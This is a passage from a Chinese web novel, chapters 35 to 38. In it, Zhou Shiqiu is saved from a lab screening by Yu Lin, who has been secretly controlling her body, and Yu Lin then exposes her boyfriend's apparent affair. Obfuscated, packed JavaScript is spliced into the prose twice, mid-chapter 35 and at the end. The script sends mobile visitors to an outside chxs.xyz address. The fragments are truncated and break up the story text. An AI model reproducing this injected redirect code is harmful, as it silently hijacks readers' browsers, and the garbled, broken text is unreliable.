对面只回了一句奇怪的话,便挂断了电话。 周拾秋整个人愣在了原地,不理解庾林话中含义。 他让她等着? 可是等什么呢? 周拾秋缓缓收起手机,又紧张地回头看了看检测中心里的仪器,还有在里面走动的研究人员,他们的神情十分严肃,看上去就不太好惹。 正胡乱思考着,一直等在不远处的肖蕾走了过来,微笑着对她说:“可以进去了吗?周小姐的检测时间安排在上午9点至10点,再不进去恐怕会影响后面的检测安排。” 见进研所的工作人员已经开始催促了,周拾秋也不好什么都不做死赖在门口。 她暂且将庾林的事抛到一边,调整好情绪后,一咬牙,踏入了检测中心的大门。 周拾秋在心中默念着:“今天恐怕没有后面的检测了,真是对不住!” 一进去便有一个研究人员迎了上来,冷眼打量了周拾秋一番后,便用不耐烦的语气招呼周拾秋走入最靠近大门的一个球形仪器之中。 周拾秋默不作声,准备全力发动异能,尽可能攻陷整栋大楼,至于能不能做到,只有听天由命了,总之,闹出的动静越大越好。 就在她准备动手时,忽然眼前一黑,等她再睁开眼时,窒息感笼罩了一切。 眼前是冰凉的水,径直冲入鼻腔,她惊奇地发现自己整个脑袋埋在水池里。 周拾秋赶紧抬起头,一阵疯狂咳嗽,将呛入气管的水全部排出。 什么情况? 周拾秋一头雾水,惶恐地回忆着,自己并没有走入检测仪器中。 一抬眼,镜中映出庾林那张五官硬朗的俊脸,湿漉漉的头发正不停往下滴水,冰凉的水珠顺着脸颊流到脖子上,再顺着脖子一路溜进衣领里。 周拾秋慌忙从一旁拿来毛巾,将庾林的整个脑袋包裹其中,胡乱擦拭着。 擦去那些不安分的水珠,也擦去了自己脑中的疑惑。 原来,紧急委托将她直接传送到了庾林的身体里。 “庾木木这家伙在干嘛?没人杀他了,觉得无聊,自杀玩?是不是有病啊?” 周拾秋一边骂骂咧咧,一边拿起吹风机吹干头发和衣领。 等到收拾稳妥,周拾秋才糊里糊涂地从卫生间里走了出来。 卫生间外是熟悉的病房,看来庾林还没有出院,康管家看见她,表现十分平淡,就好像知道她会出现一样,语气温和地询问:“周小姐?” 周拾秋点了点头,刚想问康管家,庾林干嘛想不通自杀,话还没说出口,她突然意识到,自己的身体还在进研所里。 她抬手看了一眼手环,上面出现了一个闪着红光的紧急任务。 周拾秋没时间耽搁,赶紧提交了任务完成的申请,可等了许久也不见申请通过。 “庾木木,你要害死我啊!” 周拾秋着急得拍着手环大叫起来。 康管家在一旁看得一脸懵,好心问道:“吃早餐了吗?要不先坐会儿? 一想到自己一个大活人就那么昏倒在进研所里,甚至毫无反抗就被检测出进化者身份,她哪里坐得住,赶紧让康管家送自己去趟进研所。 康管家虽不知道她有什么事非去进研所不可,但看她急切的模样,就没阻拦,打电话给司机,叫来了车。 从医院前往进研所的路上,周拾秋不停给庾林发送任务完成申请,可始终没有收到庾林的反馈消息,焦虑得想杀人。 半个小时后,车停在了进研所办公大楼所在的高墙之下,康管家却拦着周拾秋不让她下车。 “庾先生现在不方便进去,还是让我去打听一下情况吧。”康管家一脸严肃地劝道,并眼神示意周拾秋不要多言。 周拾秋自然清楚,车上还有名不知情的司机,康管家必须优先考虑庾林,任何可能损害庾林利益,或者伤害到庾林的事,他都会选择规避。 就比如现在,他不能让司机知道庾林身体里住着一个进化者,更不能让周拾秋操控着庾林的身体走进进研所,否则,周拾秋的身份曝光,庾林很难洗脱。 面对康管家强硬的态度,周拾秋没法一意孤行,只能顺从地点了点头。 于是,看着康管家坐上了通往高墙顶部的电梯,周拾秋开始了新一轮焦急的等待。 不时会有车辆经过此处,但从不会有车停留,这个位于高墙之上的进研所,始终让人望而却步。 就这么又过了大半个小时,周拾秋看见电梯从高墙顶部缓缓下落,她赶紧将头伸出窗外张望。 可惜,从电梯里走出来的人不是康管家,而是褚成舟和施煦。 一出电梯门,褚成舟就望见了停在门口的车,也撞上了周拾秋的视线。 周拾秋一阵错愕,随即想起自己现在控制着庾林的身体,便故作淡定关上了车窗,表现出庾林极致的冷漠。 果然,褚成舟没有起疑,似乎对于庾林的冷漠毫不在意,他撑起遮阳伞,挡住身旁施煦的脸,然后带着施煦慢悠悠地走到了车旁。 褚成舟轻轻敲了敲后座的车窗,司机向周拾秋请示,周拾秋万分无奈地点了点头。 车窗缓缓落下,周拾秋与那个阴险的男人隔窗相望。 “庾先生这么着急来接秘书小姐吗?呵呵,恐怕要让庾先生白跑一趟了。”褚成舟率先开了口。 听褚成舟这么说,周拾秋估计研究人员没有放过失去意识的身体,进化者的身份已经暴露。 周拾秋整颗心凉透了,可转念一想,又觉得不对劲。 他对庾林太客气了。 如果当真检查出结果,褚成舟不应该是这个语气,因为她没闹出动静,那必然会启动包庇调查。 会不会因为她突然失去意识,所以检测暂且搁置了呢? 周拾秋不由得产生一丝侥幸心理。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781991|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 如此一想,她又学着庾林的样子冷笑一声,虚张声势道:“哼,我怎么觉得是有人要受处罚了呢?” 话虽说得轻巧,但周拾秋无法抑制住紧张情绪,藏在褚成舟视野盲区的手拼命掐着大腿。 褚成舟哈哈大笑起来,说:“停职记过罢了,并不能阻止我继续调查进化者,希望今后的案子不会再遇上庾先生。” “哦?是吗?我也不希望再见专员先生。”周拾秋争锋相对。 遮阳伞下的施煦开口打断了二人:“庾先生身边确实有进化者出没,还需小心。如今尚不能排除庾先生成为连环凶案目标的可能性,毕竟庾先生仍是瑞波恩科技的VIP客户。如果有任何发现,请随时与我们联系。” “啧……” 褚成舟因为施煦打断而稍显不满,可并没有出言责备。 周拾秋冲施煦客气地点了点头:“嗯,好的,谢谢。” 施煦又继续说道:“据张信医生交代,他的杀意源自母亲的过世,当初那个案子正好与夜白鹭有关,而与夜白鹭相似的异能就出现在庾先生身边,是巧合,还是有必然联系,我们会继续调查下去。” 施煦的话让周拾秋陷入短暂的沉默。 褚成舟终于在此刻打断了施煦,他沉着脸训斥道:“跟他说这么多干嘛,走了,还有不少事需要调查。” “哦,抱歉,是我失言了。” 嘴上说着道歉的话,可施煦的脸上依然一片云淡风轻,丝毫看不出悔意,她之所以道歉,只是因为褚成舟给出了不能做的指令。 这就是接受过改造的进化者。 一晃眼,周拾秋似乎从褚成舟脸上看出了点不同寻常的表情讯号。 只因褚成舟看向施煦的眼神实在与平时不同,好像多了一丝潜藏的温柔,可温柔之中又带着苦涩的痛。 施煦朝周拾秋挥手告别,然后跟着褚成舟越走越远,二人你一言我一语,却尽数落入周拾秋耳朵里。 施煦:“停职还插手,似乎不太妥当。” 褚成舟:“啰嗦,你可以不跟。” 施煦:“可我的工作就是协助你。” 褚成舟:“我也可以帮你申请调岗。” 施煦:“如果你希望如此,我没意见。” 褚成舟:“闭嘴,跟上。” 施煦:“明白,那我们先从哪里查起?庾先生身边出现的进化者还查吗?” 褚成舟:“白痴,他听见了。” 施煦:“哦,对不起,我撤回。” 褚成舟:“唉……” 这两人的关系让周拾秋有些迷惑,说不上好,但也说不上坏。 褚成舟总对施煦表现出烦躁的情绪,周拾秋当初的第一直觉是褚成舟天生厌恶进化者,可褚成舟的眼神又让周拾秋感觉,在他眼中,施煦不仅仅是一件工具。 不过周拾秋现在没空思考这些,因为施煦的一句话吸引了她的全部注意力。 ——当初那个案子正好与夜白鹭有关。 什么案子? 庾林何时与她有过关联? 还是说,这是发生在百泉身上的事? 无数的疑问在脑海中堆积,直到彻底遮挡了她的视线,令她眼前一片茫然。 周拾秋手肘抵在窗边,脸埋入臂弯,另一只手胡乱拨弄着头发,试图将混乱的大脑整理干净。 就在她陷入困惑时,纤细的手指猝不及防落在耳边,揪住她的耳垂,逼迫她抬起头来。 她皱着眉头,睁开眼,然后惊奇地发现,自己就站在车外,正用清冷的目光盯着她看。 36. 第036章 “啊啊啊啊啊——” 一声尖叫震耳欲聋,车外的女人淡定地堵住耳朵,身后的康管家左顾右盼,生怕这阵尖叫引来麻烦,只能上下摆动着手掌,试图安抚车里的男人。 脑海中,无数念头激烈碰撞,搅得周拾秋心头乱作一团,她实在看不懂眼下究竟是什么情况,甚至不知该如何开口。 问什么? 你究竟是谁?还是,你为什么会动? 不管问什么都很奇怪,她自己的身体为什么会活生生站在车外,并用一种陌生的眼神盯着自己? “傻了?我以为你至少会说声谢谢。” 车外的自己甚至用她熟悉的声音对她说话,这感觉既新奇又诡异。 就在周拾秋目不转睛的注视下,女人轻轻叹了口气,然后用指尖敲了敲手环。 周拾秋感觉脑子有些宕机,对眼前的一切都无法做出反应,只是痴痴地盯着自己的脸,然后抬手揪了揪脸颊,感受到疼痛后,又陷入新一轮震惊。 车外的女人终于不愿再等下去,她在手环上调出了周拾秋发送的任务完成申请,轻轻按下“同意”键后,不管是车内的男人,还是车外的女人,全都失去了片刻意识。 等周拾秋再次睁开眼睛时,她已从车内移到了车外。 而车里的庾林推开了车门,冷冷说了句:“上车。” 周拾秋的大脑一片混乱,顺着这句指示上了车,然后一直侧着身子盯着庾林看了许久,直到对方感觉不自在,强行将她的脑袋掰向前方,她又机械式地转回来。 她想过自己攻陷不了进研所,然后被强制改造,成为没有自我的工具人;也幻想让整个进研所陷入瘫痪,然后她四处逃串,从此成为传说;却唯独没有料到自己能这么大摇大摆从进研所大门走出来。 事实上,真正走出进研所的也不是她自己,因为控制着她身体的人,正是眼前这个男人。 “怎……怎么会是你?一直都是你,庾木木?” 因情绪激动而崩溃的语言系统,令周拾秋说出的话杂乱无章。 但庾林似乎知道她想说什么,洒脱地点了点头,没有丝毫隐瞒的想法,就好像这一切都很普通,普通到不值一提。 “是我,怎么了?” 周拾秋捂着嘴,想了又想,总觉得哪里不对,压低声音提出疑问:“不是,你不应该在度假村吗?” 庾林闻言露出一抹凉薄的笑,手指在周拾秋眼前画了个圈,“如果你觉得这里称得上度假村,那就是吧。” 周拾秋反应过来,脸颊微微泛起红霞,将脸撇向前方,轻咳两声,又问:“什、什么时候开始的?” “第一次委托开始,每一次。”庾林淡定回答。 “每……每一次……” 周拾秋额头抵在椅背后,双手挡在脸颊边,感觉一阵晕眩。 好消息:没有鬼上身,没有犯罪人格觉醒,没有后遗症,更没有阴谋。 坏消息:一直都是庾林在操控她的身体。 虽然周拾秋对进入各式各样的委托人身体已经习以为常,但并不习惯别人进入自己的身体,光是想象,都令她浑身不自在,就好像有无数蚂蚁在心上爬行,她不禁打了个寒颤。 “你、你没做什么奇怪的事吧……” 周拾秋不敢抬头,更不敢看庾林,说话时声如蚊蚋。 “嗯?”庾林未能听清,只能哼出一声鼻音。 周拾秋不敢再问,更不敢遐想,暗暗告诫自己:“周拾秋,你想什么呢!人家现在救了你,你应该懂得感恩!” 双手用力拍了拍脸颊,她试图让自己冷静下来,余光瞥见衣兜鼓鼓囊囊,于是伸手探去。 一张对折两次的纸被她从衣兜里摸了出来,她带着疑惑展开那张纸,目光随即定格在“异能值正常”五个字上。 这是一份进研所的检测报告,是周拾秋想都不敢想的证明,一切看上去是那么不真实。恍惚间,她甚至怀疑自己还在做梦,于是她揪了揪自己的脸颊,直到疼得她倒吸一口凉气,那份欣喜才总算落地。 这一刻,无数情绪杂糅到一起,寻找着发泄的出口,击碎了潜藏的恐惧与不安,涌上阵阵暖意。 周拾秋感觉鼻子一酸,眼泪随之涌进了眼眶,她越是拼命压抑,情绪越是难以控制。 她就这么低头看着那张检测报告,勾起嘴角笑了起来,与此同时,眼泪不听使唤,簌簌往下落,模糊了视线,也斑驳了纸面,笑声被呜咽声取代。 庾林被周拾秋又哭又笑的状态吓了一跳,不安地坐直了身子,手抬起又放下,犹豫着,不知该如何安慰。 “喂,乌鸦小姐,你这样好像我做了什么坏事……你别……” 周拾秋哭了一会儿,才渐渐冷静下来,用袖子擦了擦纸面,然后折叠收好,双手抹了抹眼睛,坐起身,看向庾林。 看着平时动不动就想杀他的女孩哭成了泪人,庾林心跳漏了一拍,一时有些呆滞,无法言语。 此刻周拾秋却向他展开了双臂,身子前倾,便拥住了庾林,双手环住他的脖子,下巴搁在他的肩上,温润的气息近在他的脖颈。 “谢谢你,庾木木,我一直觉得你挺讨厌,没想到你这么讲义气。今后我保证不咒骂你,不威胁你,就算约定到期后,你需要帮忙,我也随叫随到。从今天起,你就是我周拾秋的好兄弟!” 周拾秋激动地说着感激的宣言,虽然大部分的话说出似乎是在骂庾林。 庾林失神了片刻,心脏似乎又有些超负荷,可感觉又与往常不同,剧烈跳动的心脏并没有带来窒息的痛苦,却有点异样的悸动。 他慌忙拎住周拾秋的衣袖,将那两只圈住他的手从脖子上挪开,身子微微后移,避免对方听到他擂鼓一般的心跳声。 “兄弟?”庾林故作淡定地发出疑问。 周拾秋无奈后退,眨眨眼,爽朗地冲庾林一笑,抹去脸颊上残留的泪痕,俏皮地回道:“昂,你老人家总不会想跟我当姐妹吧?” 庾林嘴角微扬,带着一股不想理会周拾秋胡言乱语的味道,低声念叨:“你最好真这么想。” 周拾秋感觉听不懂庾林想说什么,可庾林明显不打算解释,他冷笑一声,将话题转向别处。 “以后帮忙不问我要钱了?” 周拾秋表情微变,尴尬地笑起来:“哈哈,亲兄弟明算账,但我可以给你打折。” 庾林被 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就算庾林帮助她的目的,有可能是怕自己受牵连,但就结果而言,是令她感动的。 周拾秋不由自主地回忆起最近发生的怪事,感慨万千,由后往前倒带,记忆最终停留在第一次委托当晚。 周拾秋表情猛地僵住,脸颊的红润尚未消退,眼色微变,问:“等等,分手的人也是你?” “是我。”庾林答得毫不心虚。 前一秒还觉得庾林对自己没有恶意,下一秒周拾秋就感觉被打了脸,她完全无法理解,这么做的庾林有何目的,愣了好一会才问出三个字:“为什么?” 庾林脸上闪过一丝微妙的神情,不答反问:“你喜欢那人什么地方?” 这一问还真难倒了周拾秋,她支支吾吾半晌,始终未想出一条像样的理由,只能任性地回怼道:“这不是重点,你只要告诉我,你干嘛要这么做?” 面对于她的反应,庾林嘴角翘起一道温和的弧度,说:“我只是叫他滚,他自己理解为分手而已。” “哈?”周拾秋满腹疑问,“可你干嘛要叫他滚?” “如果你是我,一个男人突然抱住你,还要亲你,你不让他滚?”庾林一本正经地回答,看上去没有说谎。 周拾秋顿时释然,疑惑打消后,一时没绷住,边拍着大腿,边嘲笑着庾林,笑得眼泪都出来了。 庾林靠在头枕上,歪着脑袋看着周拾秋,一直等到周拾秋笑得嗓子疼了,笑声止住,他才漫不经心地开口:“刚才检测时,你男友打来电话,我接了。他问你怎么还没到,我告诉他,你与人有约,叫他别等了。” 一阵恶寒袭上心头,周拾秋目瞪口呆地盯着庾林,感觉那张精雕细琢的脸瞬间化成恶魔,正冲她邪恶地笑着,而她刚生出的好感荡然无存。 这哪里是没有恶意啊,这恶意已经拉满了啊。 周拾秋赶紧掏出手机,刚想给郑常新打个电话,可看着手机屏保上与齐绮的合照,她才想起还没来得及给齐绮报平安。 于是这通电话从郑常新改成了齐绮,可惜电话还没拨出去,手机就被庾林一把夺了过去。 37. 第037章 如果说第一次是会错意,那么这一次,周拾秋可以肯定,庾林是带着敌意刻意为之。 此时,庾林将周拾秋的手机藏到身后,不让周拾秋打电话,还一脸阴沉地说:“你看人的眼光真的不行。” 周拾秋本就不满庾林自作主张,如今又听对方瞧不起自己,心里顿时生起一把无名火,气恼地上前争抢手机。 她表现得越心急,越激起庾林的反骨。 “还给我。” 周拾秋双手并用,试图绕到庾林背后,夺回手机。 庾林单手防御,在混乱中尝试扣住周拾秋的两只手,另一只手则死死攥着手机,躲避着周拾秋的进攻,没有一丝退让。 “那种人,不值得挽回。”庾林厉声警告。 “庾木木,你是不是跟我有仇?你了解他什么?你以为你是谁啊,凭什么教我做事?”周拾秋不服气大骂,没有与庾林硬碰硬,灵活地躲避着庾林的“追捕”,确保双手不会同时被钳制住。 一只手终究没有两只手方便,但比力气,周拾秋不是庾林的对手,一时间僵持不下。 每次周拾秋的一只手被庾林捉住,她就动嘴,像只赖皮的小狗,一口咬住庾林的手,迫使庾林不得不松手。 “你……做个人行不行?” 庾林拿她没办法,冷漠的脸上浮现些许愠色。 “把手机还给我,否则我真不客气了!”周拾秋咬牙切齿威胁着。 庾林全然不当一回事,稍稍仰起头,微微挑起眉,眼底含着轻蔑的笑,两片薄唇一张一合,声音低得只有周拾秋能听到。 “又想用异能?” 周拾秋被这挑衅般的言语激怒,手上动作不由得粗暴,拉扯间,一不小心撞上庾林的腹部,庾林立马发出一声闷哼,整个人蜷缩起来。 弱点暴露的瞬间,周拾秋没有收手,抓住可乘之机,突破庾林的防守,一手扣住庾林的手腕压在头枕上,一手抚上庾林的伤处,身子贴近庾林,脸凑到耳边,笑声阴冷,轻声耳语:“不用异能,好像也能拿下你。” 周拾秋的手指在伤口处游走,只要稍稍一用力,庾林必会遭罪,她便以此为威胁。 “你……” 庾林浑身僵硬,视线落在那只不安分的手上,躁动的心跳冲击着耳膜,呼吸变得粗重,嗓子仿佛被什么堵住,沙哑的嗓音只挤出一个字。 周拾秋看着一抹绯红缓缓爬上庾林的脖子,最终将耳朵也烧透,玩心大起,朝庾林的耳朵吹了吹气,然后见庾林浑身一颤,面色恼怒。 终于,手机脱了手,掉落在庾林背后,庾林腾出那只手,捉住了周拾秋的肩,将其推离身边。 周拾秋没有挣扎,也没有反击,因为在她眼中,庾林那副难得一见的狼狈模样,比威逼他跪地求饶还要有意思。 周拾秋放开庾林的手,淡定地坐回座位上,脸上浮现胜利的笑,一只手摊到庾林面前,带着捉弄的语气威胁道: “原来庾总监怕这啊?老实交出来吧,我的手机,如果不想我做得更过分的话。” 庾林抬手向上提了提衣领,眼神闪烁,不自觉地咽了咽口水,整个人有些不自在,嘴上却不承认:“呵,怕?我是为某人恩将仇报不耻。” 这句话刺中周拾秋痛处,她一时有些还不上嘴。 不得不说,庾林确实刚刚救了她,屁股还没坐热就被她威胁,怎么看都是白眼狼的行径。 “谁让你要抢我手机……”周拾秋小声嘀咕。 庾林从身后拿出手机,却并不急于还给周拾秋,反而像扣留人质一般,将手机一下接着一下轻拍着手掌,用说教的语气说道:“他不适合你,世上男人那么多,你何必执着于一个不适合自己的人?” “哦,你说的都对,行了吧?能把手机还我了吗?”周拾秋顺着他的话敷衍道。 这种敷衍的态度把庾林气得不轻,扭头又将手机藏到了身后,态度坚决道:“既然我说的对,那我更不可能让你跟他联系。” “啊?神金,我要打电话给绮绮!” 周拾秋一整个大无语。 “是么?” 庾林确认一般看了看周拾秋的眼睛,在确定没有看到她对郑常新的想法后,才松口,“齐小姐方才也给你打过电话,我让她在家候着,所以现在你打算如何?” “你不早说……”周拾秋气得一掌用力拍在庾林的胳膊上,随即向前探着身子,告诉司机花店的地址。 司机看着车内后视镜,向庾林请示着,直到庾林挥了挥手,他才发动汽车。 约莫半个小时后,来自自由区的车辆停靠在了禁仿区的路边,周拾秋慌慌张张下了车,顾不上道别,径直冲向花店。 时间已过10点半,可今天花店并未营业,玻璃门紧闭着。 周拾秋今早离开时,没想过自己还会回来,抱着再无明天的想法,她给齐绮留了封信。 信上没能说出实情,她不想齐绮太过伤心,于是骗了齐绮,说她害怕被进研所盯上,所以临时决定离开凌沪市,也许等风头过了就回来,也可能不回来了。 家里的债务已经找庾林借钱还清,所以不需要齐绮再担心,不过今后希望她能多关照家里人。 信里没有过多的煽情,连一句道别的话都没有提及,通篇内容展现出符合进化者的自私心理。 临到最后,她才想起郑常新,于是在信件末尾补充了一句: “麻烦转告郑常新,就当我们分手了,让他别再来找我了。” 周拾秋像个犯了错的人,鼻尖抵在玻璃门上,双手弯曲成C,挡在眼睛旁,惴惴不安地透过玻璃往店内看。 店里没有开灯,昏暗得有些看不清,她隐约看到个人影在店里来回踱步,看上去格外焦虑。 周拾秋调整好状态,推门走了进去,只听门内挂的风铃“叮铃”响了一声,踱步的人停住脚步,视线霎时锁定到她身上。 “呵呵,我又回来了,先前说的话,你就当我脑子短路了,放了个屁,你可千万别生气。” 周拾秋埋着头,心中甚是过意不去。 店里传来脚步声,那是皮鞋踩在地板上的响声,周拾秋立刻意识到,店里的人不是齐绮。 猛地抬起头,她看见一个穿着休闲西服的男人,从暗处走进阳光里,手里倒拎着一束红玫瑰,眼神晦暗不明。 随着手晃动, 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这股反感很快被她强压下去,她强挤出愧疚的微笑,想要安抚,可脑子里杂乱无章,支支吾吾半天,实在想不出该从哪里开始解释。 就在她汗流浃背之际,楼上传来脚步声,身后传来风铃响,两者几乎同时出现,周拾秋看了看楼梯口,又回头看向玻璃门。 两个完全相反的方向,却同时有人出现。 齐绮慌张地下楼来到花店,庾林则神情自若地推门而入。 一瞬间,四人面面相觑,店内异常沉默,只有风铃声持续响了片刻,为沉闷的氛围添加些许轻快。 诡异又尴尬的气氛开始弥漫,每个人心底都有疑问,可谁也没有开口,仿佛谁先开口谁就输了一般。 直到风铃声渐渐消散,店内彻底安静,四人的视线激励碰撞,无形的火花似要将四周点燃。 齐绮第一个人受不住这种压抑的气氛,苦笑着指了指楼上,提议: “呃……这么热闹?要不楼上坐坐,我给大家泡杯茶?” 闻言而动的是庾林,他像个毫无顾忌的客人,脸上露出淡然的微笑,与周拾秋擦肩而过,边往屋内走,边说:“白水就行,我心脏不好。” 看见庾林出现后,郑常新的脸色愈发阴沉,眼神仿佛要吃掉周拾秋一样,他冷哼一声,不愿落于人后,抢在庾林前上了楼。 周拾秋觉得心里堵得慌,只好将气撒在晚了一步上楼的庾林身上。她猛地一巴掌拍在庾林背上,气呼呼地压低音量骂道:“瞧你做的好事!” 庾林毫无悔改之意,转头冲周拾秋笑了笑,一副一切尽在掌握中的自信模样,安慰:“我不是来帮你解决麻烦了吗?” “你最好能解决好!” 周拾秋长舒一口气,手掐向庾林后腰,嘴里气恼地威胁着。 一直堵在心头的巨石膈得她难受,庾林的话犹如一把斧头,劈开巨石,露出一条逃生通道。 她只能寄希望于此,纵使眼前这个男人有些不靠谱,可总比让她自己去面对郑常新要好。 事情已经不会更糟,她只想选择一条让自己轻松一点的路,无论好坏。 38. 第038章 庾林一路抱怨着周拾秋对自己越来越不客气,与周拾秋一前一后上了楼。 三人在客厅沙发坐下,周拾秋尴尬地逃避着郑常新质问的眼神,庾林始终一脸淡定,仿佛看戏的观众。 齐绮给郑常新泡了杯茶,又给庾林送上一杯水,然后在周拾秋身边坐下,眼神询问着缘由。 周拾秋朝她眨眨眼,示意她别开口。 郑常新见有外人在场,强忍着心中怒火,稍微恢复原本的随和,看了看庾林,客气地问道:“这位是小秋的……朋友?怎么好像没有见过。” 庾林抢在周拾秋前开了口,答得十分自然:“朋友算不上,我是她老板。” 郑常新带着疑心轻笑一声,“自由区的老板?这话应该很难让人相信吧。” 庾林不慌不忙喝了口水,润润嗓子,似笑非笑地扫了一眼周拾秋,语调轻慢:“周秘书,你的前男友好像并不了解你,难怪你执意要与他分手了。” 周拾秋原本一心期待着庾林解除误会,可庾林一句话出口,她就后悔了。 庾林哪里是来帮忙,分明是来捣乱。 拳头攥紧,咬牙切齿,难以抑制的嗔怒从眼神中溢出,周拾秋皮笑肉不笑地捂住了庾林的嘴,强行找补:“呵,危机管理局的委托人,这人就爱胡说八道。” 郑常新紧盯着周拾秋的手,脸色有些难看,起身强行将周拾秋拉到了自己身边,声音低沉地责备:“我看你就是太依赖危机管理局,最近才会变得这般爱说胡话。” 周拾秋被摁到沙发上坐下,郑常新挡在了她与庾林之间,这让她很难再控制庾林那张惹是生非的嘴,心中顿感不安。 她不时瞥向庾林,暂时顺着郑常新的话,试图将分手的话题就此揭过。 “唔……嗯,是是是,我就觉得最近状态不太好……说话颠三倒四,意识不太清醒。” 然而,与她预想的一样,庾林一旦脱离了她掌控,立马脸不红心不跳地开始捣乱,当着她的面就开始胡说八道: “嗯?难道早上来找我抱怨的事也是假的?” 郑常新立马捕捉到重点,脸上虽还带着笑,可放在膝盖上的手终是暴露了他内心的焦躁。 “今早小秋去找你了?” 周拾秋身子微微后仰,在郑常新背后,借着视野盲区,两根食指交叉放在嘴唇上,示意庾林闭嘴。 庾林看到了,微笑着点点头,眼神中满是不妙的信号。 就在周拾秋意识到庾林没安好心时,庾林已经开始往冒着火星子的郑常新身上猛倒汽油了。 “天还没亮就来我家诉苦,倒完苦水还要我送她回家,我这老板当得可真累。不过,周秘书说你们已经分手了,我没想到会在这儿遇见你,希望没让你误会。”庾林一本正经地向郑常新解释。 庾林每说一句,郑常新的拳头就攥紧一分,指甲深深陷入手心,指骨泛白,青筋爬满手背。 周拾秋坐在郑常新身旁,感觉他浑身散发着戾气,见他后槽牙紧紧咬合,咬肌清晰,周拾秋的心都凉了半截。 她觉得这误会是不可能解释清了,摆烂似地冲庾林鼓起掌来,嘴里称赞道:“好好好,老板真是古道热肠!要不您说说,我都是怎么跟你抱怨的?” 她忽然反常的举动,打断了郑常新积聚的怒气,郑常新疑惑地看向她,心中一时摸不清她到底有何目的。 郑常新虽然吃她这套心态打法,但庾林不吃,庾林甚至还顺着她的话,继续没脸没皮地编了下去。 “周秘书,你不是抱怨前男友沾花惹草,不值得你回心转意吗?怎么当着前男友的面又怂了?” 此话一出,惊呆的不止是周拾秋,齐绮疑惑地看向郑常新,后者此刻又惊又怒,艰难地维持着体面。 “我、我什么时候做过对不起你的事?你如果对我有意见,可以私下跟我说,怎么跟外人撒这种谎?太荒谬了!”郑常新气得干笑两声,低声冲周拾秋发着火。 郑常新下意识伸手去拿茶杯,手一抖,茶水洒出,烫了手指,他慌忙缩手,杯子脱手掉落,打翻在茶几上,水漫了一桌,沿着桌边往地上流。 齐绮赶紧起身,手脚利落地将杯子扶正,用纸将桌上的水擦净,却忍不住疑心地偷瞄了一眼郑常新。 周拾秋关切地询问着郑常新有没有被烫伤,并回房拿来药箱,找了烫伤膏应急。 当全场乱成一团时,庾林一直默不作声地注视着郑常新的眼睛,脸上逐渐浮现出厌恶的神情。 “郑先生最近去了外地吗?”庾林突然发问。 郑常新正让周拾秋给他抹着烫伤膏,对于庾林莫名其妙的提问有些不耐烦,随口答道:“工作原因,偶尔会外出,有什么问题?” “女朋友为了赚钱忙着做危代人的时候,身为男友帮不上任何忙,反而跟别的女人开房,确实挺荒谬。”庾林冷笑着抛出更骇人的话题。 一时间,房间里所有人的动作停滞。 周拾秋一声不吭看向庾林,从庾林的脸上居然看不出一点玩笑成分。 心中的怀疑就像一道细小的裂缝,在周拾秋与郑常新之间悄然生长,不管是外力,还是相互之间的较劲,都会让这道裂缝愈发严重。 房间里,扔出重磅消息的人若无其事,风评受害者眼神飘忽不定,另外两位吃瓜人面面相觑。 “小、小秋,谁跟你嚼舌根?你别信,那些都是挑拨离间的惯用手段。你知道我一直都愿意帮你,可我能力有限,你又要强,从没开口找我,我是尊重你!”郑常新有些沉不住气,双手抓住周拾秋的肩膀,焦急解释。 这话引起齐绮的警觉,一向稳重的她冷着脸追问:“跟别的女人开房,你不否认吗?” 郑常新抹了一把脸,谨慎地补充道:“不、不,那根本就是无稽之谈,小秋,你不会信以为真了吧?你觉得我是那种人吗?” 面对郑常新的质问,周拾秋沉默了。 这一刻,她觉得其实自己并不了解郑常新这个人。虽然二人认识了半年之久,可相处的时间并不长,要问她郑常新是个什么样的人,她当真说不清。 在她印象中,郑常新是个随和幽默的人,也有大胆的一面,所以二人只见了一面,郑常新便跟她告白。 可再往细处,她就不知道了,大概是忙于还债,二人并无深入交流。 其实她想了想,就算郑常新出轨,她也不觉得奇怪,只要郑常新跟她坦白,二人好聚好散,也没什么大不了。 就在周拾秋沉默之时,庾林这个始作俑者继续添油加醋,“挑拨离间吗?我看不至于,否则怎么细节描述得如此细致,要是编的,那也太用心了。” “什么细节?”郑常新眉头紧锁,试探的眼神一直锁定在周拾秋身上。 实际上,周拾秋比他更好奇,抱着手臂,问庾林:“你跟他说说呗,细节。” “棕红头发,浅色眼瞳,鼻尖一点痣,黑色蕾丝,成熟丰韵,年纪比郑先生还要大一些……”庾林慢悠悠地一个词接着一个词往外吐。 他每说出一个词,郑常新的脸就白上一分,到最后勃然大怒,陡然起身,膝盖撞得茶几偏移几分,高声怒吼,强行打断了庾林。 “胡说八道!这完全是污蔑!” 郑常新的反应太大,反而引起齐绮的疑心。 齐绮问:“郑常新,你是不是想到什么人了?” 郑常新当即否认:“哪有什么人,纯粹胡编乱造,没有的事。” “是么?”庾林摸着下巴,故作思考状,“郑先生去过青溪酒店吗?” 郑常新一愣,犹豫了片刻才答:“去过又怎么了?” 庾林说:“哦,听说你跟那位女士就在那里幽会。” 郑常新拒不承认:“我是去那参加研讨会,能说明什么?不存在的事就是不存在!” “哦,至少都对上了,有些事,只要有心,很容易查出来,对吧,周秘书?”庾林手指抵着额角,微微偏着头,饶有兴致地望着周拾秋。 周拾秋突然有种直觉,庾林似乎不是在编故事,而是真的知道什么,于是她不再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798387|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 